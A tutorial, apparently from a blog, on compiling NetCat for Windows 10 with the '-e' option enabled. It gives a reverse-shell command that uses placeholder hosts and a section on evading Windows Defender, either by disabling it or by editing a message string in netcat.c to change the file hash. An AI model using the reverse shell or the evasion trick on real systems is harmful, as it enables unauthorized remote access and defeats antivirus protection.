These steps will compile an executable (default: nc.exe) on a Windows 10 machine. This build will enable the “-e” command line option (also known as “GAPING_SECURITY_HOLE”). The “-e” option allows you to pass a command into NetCat; example:

To create a reverse shell:

nc <remote control machine> <remote control port> -e cmd.exe

The caveat for Windows 10 is that Window’s Defender detects nc.exe as being “malware” and deletes it. Therefore beware the git repo we use here does have a compiled version.  If you have Windows Defender active this file will likely be deleted. When you compile a new nc.exe it too will likely be deleted.

Window Defender Workaround

You have two easy options to get around Window Defender.

  1. Disable Windows Defender while you use netcat or;
  2. Before you compile edit a source file. There are numerous areas, especially in netcat.c where status messages (such as at line 381)  are sent as output to a terminal. If you change the message, then compile, you will change the hash of the file. Windows Defender seems to be largely tied to file hashes.

Let’s Build NetCat

It is useful if you are using an account with elevated permissions.

1) Download the Windows NetCat source code.
2) Download MinGW

3) Configure MinGW
3a) If the MinGW “Installation Manager” does not auto-start after the installation of MinGW has completed run it:

Start>MinGW Installation Manager

4) From the MinGW Installation Manager I needed to select the following plugins:
4a) mingw32-developer-toolkit
4b) mingw32-base
4c) mingw32-gcc-g++
4d) mingw32-gcc-objc
4e) mysys-base

5) Apply the selected plugins:

Installation > Apply Changes

6) Make sure your PATH system variable includes a reference to the MinGW DLLs.
6a) The default path is:


6b) Start > Control Panel > Advanced Settings > Environment Variables
6c) Select “Path” from “User variables for [your user name]”.
6d) Select Edit…
6e) Add the path the the DLL folder (default: c:\MinGW\bin).
6f) Apply Changes / Close Control Panel Windows
6g) Restart Windows

7) Verify the gcc compiler is includes references to the DLL path.
7a) Open CMD and type:

gcc -print-search-dirs

7b) Amoung other things you should see references to /mingw32/bin

8) Still in CMD navigate to the folder which holds the NetCat source files.
8a) Run makewin.cmd
8b) You may get the following error:

Access is denied.

0 file(s) copied.

Operation Completed

As long as there are no other errors (not talking about warnings) you should be fine. What happens is the default makewin.cmd script attempts to copy the newly complied nc.exe file into your system32 folder (which if you get this error cannot be done because that folder is protected). This error can be ignored as you have the compiled binary in the folder you are currently in.

8c) There will be some warnings that look like errors.


You now have a compiled nc.exe which is able to run on Windows 10. You can pass in the -e argument.


Read up on how to use NetCat:

How to Create a Reverse Shell

Hacking with NetCat